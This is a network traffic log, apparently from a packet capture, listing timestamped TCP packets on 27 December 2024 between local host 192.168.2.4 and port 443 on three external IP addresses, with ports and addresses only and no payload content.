Dec 27, 2024 20:17:28.582667112 CET	49739	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:28.582679033 CET	443	49739	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:28.762665033 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:28.762700081 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:28.762765884 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:28.763103008 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:28.763117075 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:29.991656065 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:29.991760015 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:29.993067026 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:29.993096113 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:29.993455887 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:29.999629021 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:29.999768019 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:29.999816895 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:29.999881983 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:29.999896049 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:30.947207928 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:30.947329044 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:30.947437048 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:30.947552919 CET	49740	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:30.947576046 CET	443	49740	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:31.452610970 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:31.452663898 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:31.452835083 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:31.453107119 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:31.453125954 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:32.727384090 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:32.727466106 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:32.728897095 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:32.728914976 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:32.729259968 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:32.733453035 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:32.733577013 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:32.733613968 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:33.475805044 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:33.476043940 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:33.476221085 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.476221085 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.549973011 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.550065041 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:33.550184011 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.550482035 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.550529957 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:33.779055119 CET	49741	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:33.779095888 CET	443	49741	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:34.768845081 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:34.768934011 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:34.770261049 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:34.770281076 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:34.770605087 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:34.771745920 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:34.771819115 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:34.771825075 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:35.554925919 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:35.555186987 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:35.555286884 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:35.555393934 CET	49742	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:35.555435896 CET	443	49742	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:35.993236065 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:35.993288040 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:35.993449926 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:35.993669033 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:35.993681908 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.218044043 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.218127966 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.219297886 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.219306946 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.219712019 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.220825911 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.221493006 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.221533060 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222057104 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222095013 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222203016 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222261906 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222373009 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222409964 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222539902 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222568035 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222701073 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222728014 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.222735882 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222892046 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.222918987 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.267332077 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.267482042 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.267509937 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.267515898 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.315332890 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.315501928 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.315534115 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.359323025 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.359553099 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.403331995 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.463406086 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.463547945 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:37.463581085 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.463794947 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:37.584539890 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:39.650418997 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:39.650685072 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:39.650752068 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:39.650899887 CET	49743	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:39.650917053 CET	443	49743	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:39.659060955 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:39.659101963 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:39.659176111 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:39.659452915 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:39.659471989 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:40.955471039 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:40.955552101 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:40.959724903 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:40.959737062 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:40.960891008 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:40.962147951 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:40.962214947 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:40.962291956 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:41.706676960 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:41.706805944 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:41.707175970 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:41.707175970 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:41.707254887 CET	49744	443	192.168.2.4	172.67.204.41
Dec 27, 2024 20:17:41.707274914 CET	443	49744	172.67.204.41	192.168.2.4
Dec 27, 2024 20:17:41.851362944 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:41.851389885 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:41.851448059 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:41.851793051 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:41.851809978 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:43.502007961 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:43.502095938 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:43.535542011 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:43.535562038 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:43.536560059 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:43.539292097 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:43.579340935 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:44.016865969 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:44.017049074 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:44.017112017 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:44.017210960 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:44.017235994 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:44.017249107 CET	49745	443	192.168.2.4	185.161.251.21
Dec 27, 2024 20:17:44.017255068 CET	443	49745	185.161.251.21	192.168.2.4
Dec 27, 2024 20:17:44.281708956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:44.281743050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:44.281797886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:44.282327890 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:44.282340050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:45.606324911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:45.606394053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:45.613450050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:45.613470078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:45.613959074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:45.617319107 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:45.663338900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245120049 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245251894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245345116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245403051 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.245424986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245537043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.245543957 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245671988 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.245768070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.245775938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.261018038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.261049986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.261094093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.261110067 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.261189938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.269280910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.310302019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.364350080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.404053926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.404069901 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.450933933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.454894066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.460196018 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.462167978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.462186098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.468116999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.468281031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.468297958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.474159956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.474302053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.474319935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.489665031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.489722013 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.489737988 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.497519970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.497572899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.497586012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.497694969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.498337984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.498346090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.505311966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.505373955 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.505387068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.518198967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.518301010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.518347025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.518356085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.518398046 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.524681091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.531045914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.531133890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.531178951 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.531188965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.531232119 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.537530899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.575045109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.575145006 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.575167894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.616363049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.616386890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.667742968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.667821884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.667833090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.674983978 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.675005913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.675035954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.675045967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.675055027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.685215950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.685308933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.685317039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.685523987 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.690309048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.690370083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.700493097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.700512886 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.700550079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.708872080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.708924055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.708930969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.708964109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.712117910 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.712137938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.712162971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.718652010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.718708992 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.718715906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.718780041 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.725007057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.725039005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.725058079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.731431007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.731482029 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.731488943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.731527090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.734900951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.734958887 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.741100073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.741157055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.744469881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.744534969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.750920057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.750972986 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.757308006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.757375956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.875679016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.875754118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.879013062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.879071951 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.884150028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.884207010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.887154102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.887214899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.891782999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.891844034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.894398928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.894453049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.899686098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.899744034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.904963017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.905028105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.909743071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.909800053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.912426949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.912487984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.917593956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.917659998 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.922610044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.922679901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.925195932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.925255060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.930294991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.930358887 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.934287071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.934345961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.939292908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.939343929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.944387913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.944438934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.947050095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.947113991 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.952208996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.952261925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.957254887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.957315922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.959861040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.959924936 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.964963913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.965029955 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.970087051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.970154047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.972776890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.972842932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:46.997987032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:46.998056889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.003036976 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.003093004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.092556000 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.092587948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.092633963 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.092643023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.092695951 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.092705011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.106859922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.106884956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.106920004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.106929064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.106961966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.123198986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.123224020 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.123275042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.123285055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.123317003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.130851984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.130875111 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.130918026 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.130934000 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.130959034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.136995077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.137018919 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.137096882 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:47.137120962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.144798040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.144820929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:47.144872904 CET	49746	443	192.168.2.4	104.21.37.128
